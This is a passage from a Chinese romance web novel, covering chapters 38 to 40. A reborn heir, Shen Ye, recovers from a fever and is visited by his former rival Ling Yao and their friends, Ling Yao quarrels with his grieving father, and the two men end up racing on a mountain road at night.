“怎么回事?”他皱着眉,低声嘀咕。 难道是昨晚发烧,自己迷迷糊糊把嘴唇咬破了? 他试着回忆,但脑子里只有一些混沌的碎片:好像很渴,好像有人给他水喝。 感觉还挺……舒服的? 这个念头让他打了个寒颤。 舒服?发烧把脑子烧坏了吧! 他努力构想自己咬破嘴唇的画面。估计是一个人蜷缩在床上,因为高寒颤,牙齿咯咯作响,一不小心咬到了嘴唇。 沈野对着空气做了个咬合的动作,试图还原现场。 可怎么想都觉得别扭。 那个破皮的位置,不像是无意中咬到的,倒像是……被什么东西反复碾压摩擦过? 什么东西能摩擦嘴唇? 沈野的目光不由自主地落在了床头柜上那个喝了一半的水杯上。 他拿起杯子,仔细看了看光滑的瓷质杯沿。不可能啊,用杯子喝水怎么会把嘴唇磨破皮? “奇了怪了……”沈野摸着刺痛的嘴唇,百思不得其解。 想来想去,似乎只有“自己咬的”这个解释最合理。 “看来真是病得不轻。”沈野无奈地叹了口气,决定不再纠结这个小小的谜团。 当务之急是补充水分和休息。 而另一边,凌曜几乎是逃也似地冲进了电梯。 直到电梯门合上,开始下行,他才背靠着冰冷的轿厢壁,长长地松了一口气。 天知道他刚才有多紧张! 尤其是当沈野那双带着探究意味的眼睛看过来的时候,他差点就要绷不住了。 他下意识地摸了摸自己的嘴唇,仿佛还能感受到,昨夜那份滚烫柔软的触感。 “幸好跑得快……”凌曜小声嘟囔,脸颊有些发烫。 第38章 沈野又在家昏昏沉沉地躺了两天, 期间喝了点清粥,体力才逐渐恢复。 第三天下午,阳光正好。 光线暖融融地透过落地窗洒进来, 在地板上铺开一片金黄。 沈野觉得身上松快了些,便搬了把躺椅到阳台,裹着薄毯,闭眼晒太阳。 高烧退去后的身体还有些虚软, 但被阳光一烘,从骨头缝里透出点懒洋洋的惬意。 就在他几乎又要睡着的时候, 玄关传来一阵窸窸窣窣的响动,然后是密码锁开启的“嘀”声。 沈野眼皮都没抬。 会这么不请自来的, 除了那位太子爷, 没别人。 这几天,光临这个病房的人, 也就凌曜了。 果然,一阵轻快的脚步声由远及近, 带着一丝甜腻的糕点香气。 凌曜毫不客气地拖过另一把藤编椅子, 在他旁边坐下, 把手里的精致纸盒“啪”地放在小圆几上。 “喏,城南那家新开的拿破仑, 排了半小时队。” 凌曜的声音带着点理所当然的抱怨, 仿佛排队是件天大的辛苦事。 他自顾自打开盒子, 拿起一小块, 优雅地咬了一口, 酥皮簌簌落下。 沈野懒懒地“嗯”了一声,没动。他现在没什么胃口。 凌曜也不在意,一边小口吃着点心, 一边拿起随手带来的一本精装外文书翻看起来。 阳光落在他低垂的睫毛上,镀上一层浅金,安静下来的侧脸漂亮得不像话。 空气中只剩下书页翻动的轻微沙沙声,和远处模糊的城市背景音。 沈野半眯着眼,感受着阳光的温度,耳边是凌曜偶尔因为点心太酥而发出的细微满足的叹息。 一种奇异的平静感,像温水流一样,缓缓漫过心头。 他忽然想起上辈子。 那些针锋相对,你死我活的争斗,那些在会议室里的拍案而起,那些在媒体上的互相攻讦,还有…… 凌云集团毫不留情的切割与打压,将他和他父亲的心血逼入绝境。 他曾经笃定地认为,凌曜,或者说整个凌家,是他不共戴天的仇人。 他恨他们的傲慢,恨他们的赶尽杀绝。 可现在,这个他印象中骄纵任性、甚至可能背后捅刀子的仇人,正像个被宠坏的小少爷一样,窝在他家阳台的椅子里,为了一块拿破仑酥皮掉渣而微微蹙眉,阳光把他照得毛茸茸的。 两种截然不同的印象在脑海中碰撞,让沈野感到一阵恍惚。 说不定…… 上辈子那样的收场,本就是太极端了? 这个念头毫无预兆地冒出来,让他自己都吃了一惊。 我们可能本就不至于那样。 可是,这个想法刚一浮现,就被更沉重的记忆压了下去。 凌曜上辈子,的确是把他往死里整的。 那些冰冷的商业手段,那些截胡的项目,那些散布的谣言…… 每一件,都真切地发生过。 他一心恨着凌云集团,那样的局面,似乎注定很难善终。 阳光有些刺眼,沈野抬手遮了一下。 恨意是真的,那些伤害也是真的。 可为什么,此刻看着身边这个安静吃点心、偶尔会因为看到书中有趣内容而微微勾唇的凌曜,那些激烈的恨意,仿佛被这暖洋洋的日光晒得褪了色,变得有些模糊不清? 也许……是仇恨太累了。 他重活一世,最初只想避开陷阱,保住家业,偿还对父亲的亏欠。 他从未想过,会和凌曜有这样,近乎和平共处的时刻。 凌曜似乎察觉到了他的注视,从书页间抬起头,挑眉看他:“看我干嘛?想吃自己拿。” 语气还是那股熟悉的骄纵劲儿。 沈野收回目光,重新闭上眼,淡淡回了句:“不饿。” 凌曜“哼”了一声,也没再理他,继续看自己的书。 阳光依旧暖暖地照着,微风拂过,带来隐约的花香。 沈野听着身边人清浅的呼吸声,心里那根紧绷了许久的弦,似乎微微松动了一丝。 算了。 他在心里对自己说。 至少今天,阳光这么好,点心这么甜,他在身边这么安静……这样,真的很好。 那些前世的纠葛,未来的纷争,或许可以,暂时放一放—— 又休养了两天,沈野感觉身体利索多了。 虽然还有点虚,但烧已经完全退了。 就在他琢磨着是不是该回公司看看的时候,门铃响了。 开门一看,好家伙,门口乌泱泱站了一群人,热闹得像过年。 领头的江乐君手里拎着两个巨大的保温袋,嗓门洪亮:“野哥!听说你差点英勇就义,兄弟们带温暖来了!” 他一边往里挤一边嚷嚷,“你是不知道,孙潇桡这厮在群里嚎了三天,说你再不好,咱们那个投资计划就要黄了!” 跟在后面的孙潇桡立刻叫屈:“放屁!明明是你江乐君先起的头,说野哥不在,连个能镇场子拍板的人都没有,你那新看上的赛车场项目都不敢签合同!” 他手里提着一个造型极其浮夸,缀满蓝色玫瑰的蛋糕盒,小心翼翼地避开旁人。 肖展颜走在最后,抱着一箱印着外文标签,一看就价格不菲的水果,笑着打圆场:“行了行了,主要是大家听说你病得厉害,都担心。正好今天周末,凑一块儿来看看你。” 他身后还跟着三四个平时玩得不错的圈里少爷,个个脸上都带着熟稔的笑容。 沈野侧身让他们进来,原本冷清的公寓瞬间被喧闹填满。 他看着这群咋咋呼呼的朋友,有些无奈,但嘴角却不由自主地弯了一下。 这种久违的,带着点学生时代不分彼此胡闹气息的热络,确实让他心里那点病后的郁气散了不少。 大家熟门熟路地把带来的温暖摆上餐桌,瞬间拼凑出一桌中西合璧的大餐。 江乐君的保温袋一打开,香气四溢,是他家保姆的拿手菜。 油亮亮的红烧肉、清蒸东星斑,还有他号称亲手参与的糖醋排骨。 肖展颜带来的水果个个饱满金黄。 孙潇桡的蛋糕则占据了C位,闪瞎人眼。 “我告诉你们,这蛋糕可是我盯着米其林三星师傅做的,低糖!绝对符合病人要求!”孙潇桡邀功似的强调。 就在这时,客房门轻轻响了一声,开了。 众人闻声回头,只见凌曜慢悠悠地晃了出来。 他今天穿了件宽松的浅灰色卫衣,头发有些凌乱地搭在额前,看起来比平时少了几分矜贵疏离,多了点刚睡醒的慵懒和居家的随意。 他手里,倒是什么都没拿。 “哟,太子爷您醒啦?”孙潇桡嘴快,立刻起哄,“合着您比病人起得还晚,空手来探望啊?” 凌曜眼皮都没抬,似乎还没完全清醒,径直走到餐桌旁,像个巡视自己领地的猫科动物,目光带着初醒的朦胧和天生的挑剔,慢吞吞地扫过满桌菜肴。 他先是指了指那盘色泽诱人的糖醋排骨,声音带着点沙哑:“江乐君,这你做的?刀工这么整齐,酱汁挂得也标准,看着不像你手艺,别是江南赋打包的吧?” 江乐君立刻跳脚:“放屁!我亲手切的!我亲自下的锅!我……我至少尝了咸淡的!” 最后一句明显底气不足,引来一阵哄笑。 凌曜“哦”了一声,不置可否,又看向肖展颜带来的那盘造型精美的马卡龙:“表哥,你这个卖相还行,就是分量太少。够谁吃呀?” 他拿起一个,小小咬了一口,眉头微蹙,“太甜。” 肖展颜好脾气地笑笑:“甜品嘛,浅尝辄止。曜曜你也少吃点甜的,担心长蛀牙。” 旁边有人想吐槽“二十岁了还怕长蛀牙?”,但看到肖展颜那宠溺的眼神,又把话咽了回去。 ……玛德,死弟控。 接着,凌曜的目光落到孙潇桡那个闪亮的蛋糕上,眉头彻底皱了起来:“孙潇桡,你搞什么?这蛋糕糖分绝对超标了,色素也多得吓人,沈野刚退烧能吃这个?你存心的吧?” 孙潇桡委屈巴巴:“这多好看呀!我这是搞气氛!气氛懂吗!再说我都说了是低糖……” 最后,凌曜扫视一圈,发现了华点,抬起下巴点了点空荡荡的桌子中央:“饮料呢?一堆菜等着干噎?” 众人面面相觑,这才发现光顾着带硬菜,把最重要的酒水饮料给忘了! “看吧,”凌曜这才抱起手臂,脸上露出“果然没我不行”的傲娇表情,带着点刚睡醒的鼻音。 “还得是我想着。”他慢条斯理地从卫衣口袋里掏出手机,“我点了云顶的鲜榨橙汁和气泡水,半小时后到。” 众人:“……” 半个小时到,你不就是现点吗。 这审判官挨个点评的架势,虽然不太留情,却把大家都逗乐了,气氛反而更加活跃轻松。 沈野看着凌曜那副自己刚从客房睡醒,啥也没干,却偏要摆出一副“在座各位都是废物”的傲娇模样,忍不住摇了摇头。 眼里却带着自己都没察觉的浅浅笑意。 这顿饭吃得异常热闹。没有了生意场上的虚与委蛇,一群年纪相仿,知根知底的年轻人仿佛回到了高中时代。 抢菜、互怼、爆料彼此学生时代的糗事,笑声几乎要掀翻屋顶。 连沈野都比平时多吃了半碗饭,苍白的脸上终于有了些血色,偶尔还会被某个离谱的爆料逗得低笑出声。 饭后,有人提议打桥牌。 几个人干脆席地而坐,围着茶几展开大战。 牌技参差不齐,胜负心却一个比一个重。 “喂!孙潇桡你是不是又偷看我的牌了!” “江乐君你打的是什么鬼!会不会算牌啊!会不会配合!” “凌曜!你刚才是不是诈唬我!” 凌曜牌技最好,脑子转得快,记牌精准,把把稳赢。 当然,其中有没有其他人故意喂牌的成分,就不得而知了。 他还不忘把沈野偶尔的失误点评得一下。 沈野也不恼,精神不济时就由着他说。 偶尔被怼得来了脾气,还会面无表情地回敬一句“总比某些人连上轮出了什么都记不住强”,精准戳中某些人的痛处,引得众人哄堂大笑。 就在牌局进行到最激烈的时候,江乐君为了出一张牌,激动地猛地一起身,手肘不小心撞到了身旁的凌曜。 凌曜正端着一杯水,被这一撞,水杯倾斜,小半杯水眼看就要泼到旁边沈野的裤子上! 电光石火间,凌曜几乎是本能地伸手一挡,大部分水泼在了他自己手臂和卫衣上,只有几滴溅到了沈野。 “我靠!对不起对不起!”江乐君吓得赶紧道歉。 凌曜眉头瞬间拧紧,脸上闪过一丝明显的不悦和紧张。 他先是飞快地抽了几张纸巾塞给沈野,语气急促:“擦一下。”然后才低头处理自己湿了一片的卫衣袖子,脸色臭得可以。 “没事吧曜曜?”肖展颜也关切地问。 “没事。”凌曜声音硬邦邦的,但那股不悦明显是针对毛手毛脚的江乐君,他甚至还瞪了江乐君一眼。 这个小插曲很快过去,牌局继续。 但孙潇桡却把刚才凌曜那一连串的反应尽收眼底。 孙潇桡眼珠子转了转,更加证实了他那大胆的猜想。 只是,妈的。 感觉全场只有他一个人get到了。 好憋屈啊!!! 趁着一局结束,大家起身活动、去拿饮料的间隙,孙潇桡一把将正在挑饮料的江乐君拉到阳台,神秘兮兮地压低声音: “君儿,我跟你说个事,你稳住。” 江乐君是他精心挑选的对象。 比如,肖展颜是万万不能说的!万一这货转头就把他卖了怎么办,这可是太子的亲表哥,皇亲国戚! 还是江乐君好,和他一个层级的。 江乐君莫名其妙:“什么事啊?神神叨叨的。” 孙潇桡一脸“我发现了惊天大秘密”的表情,凑到他耳边,语气沉重:“我怀疑……太子爷和野哥,有一腿。” “啥玩意儿?!” 江乐君吓得手里的饮料罐差点掉地上,眼睛瞪得像铜铃,声音都劈叉了,“你他妈疯了吧?!说什么胡话!” “真的!”孙潇桡一脸笃定,“你刚才没看见吗?水泼过来的时候,凌曜那反应!第一时间护着沈野!还有,他今天一进来就跟个巡视领地的小媳妇似的,把咱们带的菜点评了个遍,唯独没挑沈野的毛病!” “最重要的是,他刚才打牌,虽然嘴毒,但你看他出的牌,是不是都在暗戳戳地给沈野喂牌?我观察他好几把了!” 江乐君被这一连串“证据”砸得头晕眼花,下意识反驳:“不、不可能!他俩从小就不对付!见面就掐!凌曜那脾气,怎么可能……” “哎呀,你不懂!”孙潇桡一副“众人皆醉我独醒”的智者模样,“打是亲骂是爱!越是这样,越有问题!” “我告诉你,我这双眼睛看透太多了!你想想,凌曜什么时候对别人这么上心过?还照顾沈野?他平时连正眼都懒得给我们!你再想想他前段时间那阴晴不定的样子……我看,八成就是感情问题!” 江乐君被他忽悠得一愣一愣的,回想起凌曜刚才的反应和最近的反常,心里也开始打鼓,脸上写满了世界观受到冲击的震撼:“不、不会吧……这太惊悚了……” 因为他忽然想起,沈野,他他他确实跟自己问过类似的问题啊! 难道他问的那个人,就是凌曜? 阳台外,两个福尔摩斯在疯狂脑补。 第39章 江乐君世界观正在崩塌, 结结巴巴地反驳:“可、可他也怼沈野了啊!牌打得不好他也说!” “哎哟我的傻乐君!”孙潇桡一副恨铁不成钢的样子,“那叫打情骂俏!你见过凌曜跟谁打是亲骂是爱过?他对看不顺眼的人,直接当空气好吗!” “你再想想, 上次在LUX,曾巍巍说沈野风凉话,是谁当场翻脸把人轰出去的?这维护得还不够明显吗?!” 江乐君倒吸一口凉气,被这个逻辑链震惊了。 孙潇桡趁热打铁, 继续投放重磅炸弹:“还有最关键的!我听说,前阵子凌曜他爸给他安排联姻, 对象是港岛赵家的千金,多少人求都求不来的好事, 结果你猜怎么着?太子爷直接给拒了!硬是顶着压力回的国!为什么早不回晚不回, 偏偏沈野这边公司刚起步,他就回来了?这难道只是巧合?” 江乐君眼睛瞪得溜圆, 嘴巴张得能塞进一个鸡蛋。 这些碎片信息被孙潇桡这么一串联,简直指向一个石破天惊的结论! 两人在阳台上鬼鬼祟祟地交换了半晌情报, 越说越觉得证据确凿, 看向客厅的眼神彻底变了。 等他们做足心理建设, 一脸凝重、脚步虚浮地回到客厅时,整个人都不对劲了。 看谁都像gay! 尤其是看凌曜和沈野, 感觉空气中都飘满了粉红色泡泡。 在他们此刻自带八百层滤镜的眼中, 客厅里的画面是这样的: 当凌曜打出了一张绝杀牌, 得意地挑眉看向对家的沈野。这原本是赤裸裸的挑衅! 孙潇桡江乐君对视一眼:【看!太子这眼神!哪里是挑衅?这分明是“快夸我厉害”的求表扬!带着勾引, 妖孽啊!】 过了一会, 当沈野没什么表情地喝了口水,顺手把凌曜面前那杯快见底的鲜榨橙汁往他手边推了推。 江乐君连忙拍了拍孙潇桡,不住地使眼色:【卧槽!野哥这动作!这么自然!这默契!这绝逼是习惯成自然了啊!连喝水都想着对方!这还不是真爱?!】 沈野好像察觉到了一点他们的视线, 倒是想不到他们在想什么,有点奇怪地瞥了他们一眼。 然后,凌曜很自然地接过杯子喝了一口,然后继续点评沈野上轮出牌失误。 孙潇桡倒吸一口凉气。 【实锤了!共用一杯水!间接接吻!嘴上骂得狠,身体很诚实!太子爷你这口是心非的毛病啥时候能改!】 当沈野被怼得烦了,抬手不轻不重地推了凌曜肩膀一下,让他“闭嘴,吵死了”。 江乐君神秘莫测地勾了勾唇角,和孙潇桡心照不宣地对视一眼。【打情骂俏,绝对的打情骂俏!野哥居然动手了!而太子居然没翻脸!只是哼了一声!这要换别人,早被太子爷一个烟灰缸砸过来了吧?!】 一场牌打下来,孙潇桡和江乐君面面相觑,从对方眼中看到了同样的震撼和“我懂了”的诡异光芒。 他们如同两个刚刚被打开了新世界大门的懵懂少年,坐回牌桌时,手脚都不知道该往哪里放,出牌也变得魂不守舍、错误百出。 “喂!你俩怎么回事?去趟阳台把魂丢外面了?” 有人对他俩的心不在焉表示不满。 孙潇桡和江乐君却同时露出一种高深莫测、又带着点“众人皆醉我独醒”的诡异笑容,齐声说:“没事,没事,你们继续,继续……” 只是他们的目光,总是忍不住往那两位当事人身上飘,每一个细微的互动在他们看来都充满了基情。 终于,当他们的目光第10086次飘来后,凌曜不满地“啧”了一声,重重把牌一扔,那双漂亮的眼睛扫过魂不守舍的孙潇桡和江乐君,语气带着明显的不耐烦:“你们俩到底看什么呢?牌还打不打了?” 江乐君被点名,浑身一激灵,眼神飘忽,下意识地脱口而出:“没、没看什么……就是在想我家那个男团……cp成真的事儿……” 说完他就后悔了,恨不得咬掉自己的舌头。 孙潇桡心里暗叫不好,赶紧打圆场,干笑两声试图把话题引开:“哈哈哈,乐君就是职业病犯了!曜哥你别理他!咱们继续,继续!” 他一边说一边拼命给江乐君使眼色。 “就是!”旁边另一个不明所以的少爷也接话,带着点看热闹的调侃,“乐君,说起你家那对活宝,现在网上闹翻天了了吧?打算怎么公关啊?冷处理?” 提到正事,江乐君总算找回点理智,叹了口气,眉头皱了起来:“可不是嘛,冷处理是冷处理了,但效果……啧,我看悬。” “这可是现在国内顶流男团,粉丝基数太大,现在两边唯粉撕得天昏地暗,cp粉倒是跟过大年似的,简直火上浇油!” 他越说越愁,顺手掏出手机划拉了几下,想找找最新舆情:“你们是不知道,现在话题度是爆了,但都是负面!品牌方那边都快把我电话打爆了……” 就在这时,一直没怎么说话、安静打牌的沈野,也似乎被这个话题勾起了一点兴趣,随手拿起自己放在一旁的手机,解锁屏幕。 他原本只是想大致扫一眼舆论风向,可当目光落到屏幕上的瞬间,他的动作几不可查地顿住了。 屏幕上,正是那个男团cp爆雷的热搜话题。广场上充斥着各种情绪激烈的言论: “恶心透了!欺骗粉丝感情!两个骗子赶紧滚出娱乐圈![呕吐]” “笑死,早就看出他俩不对劲了,果然是一对骗婚gay!江氏娱乐药丸!” 看样子是唯粉。 然后他又看见一条,风格完全不一样的。 “啊啊啊我就知道是真的!他们看彼此的眼神根本藏不住!虽然这个时机爆出来不好……但这是真爱啊!姐妹们把‘真爱无敌’打在公屏上!顶我上去!” 嗯,一看就是产品姐。 “所以现在是什么情况?这算塌房还是出柜?娱乐圈真会玩。” 沈野的指尖在屏幕上缓缓滑动,眉头微蹙。 这种极端对立的舆论场面,带着一种混乱又喧嚣的张力。 他下意识地抬眼,目光极快地扫过坐在他对面的凌曜。 凌曜正好也抬起眼,两人的视线在空中短暂地交汇了一瞬。 沈野立刻移开了目光,继续面无表情地看着手机,仿佛只是随意浏览。但只有他自己知道,心脏在刚才那一秒,莫名地漏跳了一拍。 江乐君没注意到这细微的互动,还在唉声叹气:“看看,看看!就说没法弄!这些cp粉真是……我都不知道该说她们是勇士还是……” 他话没说完,自己都说不下去了。 孙潇桡赶紧拍拍他肩膀:“行了行了,工作的事明天再愁!今天是来陪野哥散心的,别扫兴!” 凌曜将沈野那一瞬间的细微动作尽收眼底,他什么都没说,只是嘴角几不可查地向上弯了一下,随即又恢复了那副漫不经心的模样,懒洋洋地重新洗牌:“还打不打了?不打散伙。” “打打打。”—— 牌局又打了几轮,夜色渐深,大家看沈野脸上也露出了倦容,便识趣地纷纷起身告辞。 江乐君临走前还愁眉苦脸地抓着手机,显然还在为那对死给头疼。 沈野送他到门口,看着他焦头烂额的样子,忽然想起上辈子的一些模糊记忆。 好像,这对cp后面退团了。 不过,大众的舆论多了非常多的包容。 期间应该发生了很多事情。 他犹豫了一下,还是开口,语气平淡地提醒道:“话说,处理这事,公关手段是一方面。但你最好还是仔细问问他们俩,到底为什么会在一起。把前因后果弄清楚,不然,你可能连自己到底在为什么擦屁股都不知道。” 江乐君正烦着,闻言愣了一下,下意识反驳:“这还有什么好问的?不就是……看对眼了,没憋住呗?难道还能有什么苦衷?” 他撇撇嘴,一脸“我又不是CP粉,我才不好奇他们恋爱细节”的表情。 沈野看了他一眼,没再多说,只是淡淡道:“问清楚总没坏处。” 江乐君虽然觉得沈野有点小题大做,但还是胡乱点了点头:“行行行,我知道了,回去就审他们!” 说完便跟着其他人一起挤进了电梯。 热闹的公寓瞬间安静下来,只剩下满桌狼藉和空气中残留的食物香气。 沈野轻轻舒了口气,感觉太阳穴又开始隐隐作痛,生了一场病,精力到底不如前。 他正准备转身收拾,却发现凌曜还慢悠悠地靠在玄关的墙上,没走。 那人双手插在卫衣口袋里,微微歪着头,灯光在他精致的侧脸上投下浅浅的阴影,眼神里带着点说不清道不明的意味,正似笑非笑地看着他。 “你怎么还没走?”沈野问,声音里带着刚结束喧闹后的些许沙哑。 凌曜没回答,反而一步步走近,直到两人之间只剩下一个呼吸的距离。 他身上那股淡淡的、混合了雪松和一点甜点香气的味道,清晰地萦绕在沈野鼻尖。 “人都走光了,”凌曜开口,声音压得有些低,带着点懒洋洋的蛊惑,“沈野,你是不是……还有什么话没对我说?” 他的目光直直地落在沈野脸上,像是带着小钩子,无声地挑衅着,又像是在期待着什么。 沈野的心跳漏了一拍。 周围太过安静,让这突如其来的靠近和问话显得格外暧昧。 他甚至能看清凌曜长而密的睫毛,和那双漂亮眼睛里映出的,自己的缩影。 他喉结微动,面上却不动声色,反问:“什么话?” 凌曜的嘴角弯起一个得逞的弧度,像是终于抓住了他的把柄,带着点娇纵的得意,一字一顿地提醒:“谢、谢、啊。” “我照顾你那么久,守了你一夜,还帮你打发走了那群吵死人的家伙,” 他理直气壮地细数着自己的功劳,眼神却紧紧锁住沈野,“一句谢谢都没有?沈总,过河拆桥也没你这么快的吧?” 原来是在这儿等着他。 沈野看着眼前这张写满了“你快谢我”的骄纵面孔,再想起他刚才在朋友面前那副游刃有余、甚至有点可恶的模样,心里那点因靠近而产生的微妙波动,突然就平复了下来,甚至有点想笑。 他非但没退后,反而微微向前倾了倾身,拉近了一点本就危险的距离,几乎能感受到对方呼出的温热气息。 他直视着凌曜的眼睛,语气平淡,却带着一丝不易察觉的揶揄: “哦?那你说说,想我怎么谢?” 凌曜显然没料到他会是这种反应,睫毛快速颤动了两下,耳根以肉眼可见的速度漫上一层薄红。 他强作镇定地梗着脖子,眼神却有些闪烁:“当、当然要诚恳一点!哪有你这样反问的!” “诚恳一点?”沈野慢条斯理地重复着,目光从凌曜泛红的耳垂,缓缓移到他那张故作凶狠的脸上,故意拖长了语调,“比如……请你吃顿饭?” 凌曜:“……” 这跟他想的不一样! 他看着沈野近在咫尺的、带着点戏谑的眼神,突然意识到自己好像被反将了一军,那股熟悉的,说不过就想耍赖的劲儿上来了。 他猛地后退一步,拉开距离,色厉内荏地瞪了沈野一眼:“谁稀罕你请吃饭!没诚意就算了!” 说完,像是生怕沈野再说出什么让他接不住的话,他几乎是同手同脚地转身,一把拉开门,丢下一句“我走了!”,便匆匆消失在楼道里,连电梯都没等,大概是直接走的楼梯。 沈野看着被他带上的、还在微微震动的房门,终于忍不住,低低地笑出了声。 这位太子爷,有时候,还真是意外的好懂—— 之后,沈野的身体彻底康复。他没有丝毫耽搁,立刻全身心投入了公司的事务中。 重活一世,他比任何人都清楚时间的重要性。 石家那块地皮的合同,他表面上按兵不动,不再主动催促,暗地里却让父亲沈致远加紧了与石志诚私下的接触,同时动用自己前世积累的人脉,开始悄无声息地调查曾家以及可能存在的其他潜在竞争对手的动向。 他不再像前世那样锋芒毕露,而是变得更加耐心和谨慎。 他深知,在真正的机会到来之前,最重要的就是积蓄力量,规避风险。 于是,沈野将大部分精力放在了内部团队的整顿,和现有项目的精细化运营上,同时开始关注一些目前还不显眼、但未来极具潜力的新兴领域,默默进行着前期调研和布局。 他的生活节奏变得规律而忙碌,公司、应酬、健身房,三点一线。 偶尔在深夜处理完邮件时,他会想起那个吵吵嚷嚷的下午。 然后,沈野拿起手机,翻到凌曜的对话框。 他们最近聊得挺多,凌曜的对话框非常好找,基本就在最前面的几个。 沈野指尖动了动,打了几个字:【上次说谢你,饭还吃么?】 消息很快显示对方正在输入,但回复迟迟未来。过了半晌,才弹出一条言简意赅的:【下次】 沈野看着那个回复,挑了挑眉,没再说什么。这位太子爷的脾气,向来阴晴不定,他早已习惯。 沈野不知道的是,此刻的凌曜,正身处一场无声的风暴中心。 凌云集团总部顶楼,董事长办公室。 这间办公室与其说是办公场所,不如说是一座现代艺术馆与私人图书馆的结合体,270度落地窗俯瞰着CBD核心区。 墙面是冷灰色的天然石材,悬挂着几幅价值不菲的抽象派油画。 空气中弥漫着高级雪茄、冷冽的香水味——那是凌曜母亲生前最爱的味道,二十年来从未变过。 凌优智坐在宽大的书桌后,他没有处理文件,只是静静地看着桌面上一个精致的银质相框。 照片里,一个笑容温婉明媚的女人正亲昵地搂着少年时代的凌曜,凌优智自己则站在稍后一步的地方,目光柔和地注视着母子俩,那是这个家曾经拥有过的,完整的幸福。 听到脚步声,凌优智才缓缓抬起头。 他年近六十,但保养得极好,身材挺拔,穿着剪裁完美的深色西装。 没有系领带,衬衫领口松开一颗,透出一种居于顶峰的松弛与权威。他的面容与凌曜有七分相似,同样精致得近乎锐利,但那双眼睛里没有凌曜的骄纵或炽热,只有经年累月沉淀下来的,深不见底的平静。 像结了冰的湖面,看似无波,却暗藏巨大的压力和寒意。 他看着走进来的儿子,眼里流出关切。 “小曜,”凌优智开口,声音低沉温和,“最近你很少回家。是不是太累了?” 凌曜站在房间中央,双手插在卫衣口袋里,姿态抗拒。 他撇开眼,不去看父亲桌上那张刺眼的照片,语气生硬:“有什么好回的?回来也是看你对着照片发呆。” 这句话像一根针,轻轻刺破了凌优智努力维持的平静。 他眼底闪过一丝痛楚,放在膝上的手几不可查地蜷缩了一下。 他沉默了几秒,才重新开口,声音更轻,带着一种近乎恳求的商量语气: “爸爸只是担心你。听说你最近,常去城南一个朋友那儿?” 他顿了顿,试图让语气显得更随意,“那个孩子……是叫沈野吧?他父亲以前在集团做得不错。你和他在一起,开心吗?” 他问出这句话时,目光紧紧看着儿子。 凌曜最受不了父亲这种看似温和、实则无处不在的控制,他像被踩了尾巴的猫,瞬间炸毛:“你调查我?!” 声音里充满了被侵犯的愤怒和叛逆。 “不是调查!”凌优智立刻否认,他微微向前倾身,想要解释,“小曜,爸爸只是只是想多了解你。你妈妈走后,我就只剩下你了。” 提到母亲,凌曜的眼神闪烁了一下,闪过一丝复杂的情绪,有痛,也有怨。 他硬起心肠,冷笑道:“了解我?用你的方式?把我按在你设定的轨道上,这就是你的了解?在你眼里,什么才是最好的?像你一样,站在顶峰,然后一个人守着这冰冷的办公室和一张照片,就是最好的?!” 这话说得极重,像一把刀子,直直捅进了凌优智最深的痛处。 他的脸色瞬间苍白了几分,肩膀几不可查地塌陷下去,仿佛一瞬间被抽走了力气。 凌优智靠在椅背上,目光痛苦地看向窗外,良久,才喃喃低语,像是在对儿子说,又像是在对自己说: “站在顶峰……至少不会被人随意践踏,至少能保护你想保护的人。爸爸只是,不想你再经历我经历过的无能为力。” 他看着儿子那双像极了亡妻的,充满倔强和活力的眼睛,心底涌起巨大的悲伤和无力感。 他给了儿子最好的一切,却好像把最重要的东西弄丢了。 “小曜,” 凌优智最终只是疲惫地挥了挥手,声音里带着妥协和深深的倦意,“爸爸老了,管不了你了。你开心……就好。只是,别忘了你是谁,别忘了你身后站着整个凌家。” 凌曜看着父亲瞬间苍老疲惫的神情,听着他近乎放弃的话,心里并没有预期的快意,反而堵得难受。 他张了张嘴,想说什么,最终却什么也没说。 于是猛地转身,大步走向门口,在拉开门的那一刻,他停住,背对着父亲,声音闷闷地,却比刚才软了一丝: “我的事,我自己有数。你……少抽点雪茄。” 说完,他拉开门,快步走了出去,几乎是落荒而逃。 厚重的门缓缓合上。 办公室里,凌优智维持着那个姿势,久久未动。 他缓缓伸手,拿起那个银质相框,指尖轻轻摩挲着照片上妻子温柔的笑颜,眼底是化不开的思念和悲伤。 “阿阮,”他对着照片低声呢喃,声音轻得像叹息,“我好像又把事情搞糟了。我该怎么办,才能保护好我们的儿子?” 第40章 凌曜几乎是冲出了凌云大厦。 夜晚冰冷的空气裹挟着城市的喧嚣扑面而来, 却吹不散他心头的窒闷。 父亲那双疲惫又悲伤的眼睛,像魔咒一样在他脑海里盘旋。 他厌恶这种沉重的,以爱为名的枷锁, 更厌恶自己心底那一丝因父亲苍老神态而泛起的不忍。 烦躁得像一团火在胸腔里烧,他需要速度,需要风撕裂空气的尖啸来盖过一切。 他掏出手机,几乎是凭着本能, 拨通了沈野的电话。 电话响了好几声才被接起,那边传来沈野略带疲惫的声音:“喂?” “出来。”凌曜的声音又冷又硬, 带着不容拒绝的蛮横,“陪我跑一圈。” 电话那头沉默了两秒, 似乎是判断了一下他的状态, 然后沈野简洁地回了一个字:“地址。” 半小时后,郊区盘山公路的起点。 夜色浓稠, 山路蜿蜒,只有零星的车灯划过。 凌曜靠在他那辆改装过的哑光黑法拉利上, 指尖夹着烟, 猩红的火点在黑暗中明灭。 他换了一身黑色的赛车服, 勾勒出精瘦挺拔的身形,整个人像一把出鞘的利刃, 散发着生人勿近的戾气。 沈野的车灯由远及近, 最终停在他旁边。 沈野下车, 穿着简单的白色T恤和牛仔裤, 与凌曜的全副武装形成鲜明对比。 他看了一眼凌曜的状态, 眉头几不可查地蹙起。 “就这儿?”凌曜早就在看见沈野来的时候,就悄悄把烟掐了。他 用下巴指了指漆黑的山路,眼神里是压抑不住的躁动和挑衅。 “嗯。”沈野没多问, 拉开车门坐了进去。 引擎的轰鸣瞬间撕裂夜的宁静,两辆车如同离弦之箭般射入山路。 凌曜开得极野。 过弯几乎不减速,轮胎摩擦地面发出刺耳的声音,车身在弯心危险地摆动。 他像是要把所有无处宣泄的情绪都砸进方向盘里,每一次换挡、每一次油门深踩都带着一股毁天灭地的狠劲。 沈野紧随其后,眼神锐利地盯着前车。 他不是跟不上凌曜的速度,而是清晰地感受到了凌曜状态不对。 这不是追求刺激,更像是一种自毁式的发泄。 在一个近乎U型的急弯前,凌曜竟然没有丝毫减速的意思,车尾猛地甩出,眼看就要失控! 沈野瞳孔一缩,几乎是同时,他猛踩油门,车身以一个极其刁钻的角度切入内线,不是超车,而是强硬地别了凌曜的车头一下,同时按响了急促的喇叭! 刺耳的喇叭声和突如其来的干预让凌曜猛地回神,下意识踩下刹车并修正方向。 两辆车几乎是贴着护栏,惊险万分地停了下来,轮胎冒起淡淡的青烟。 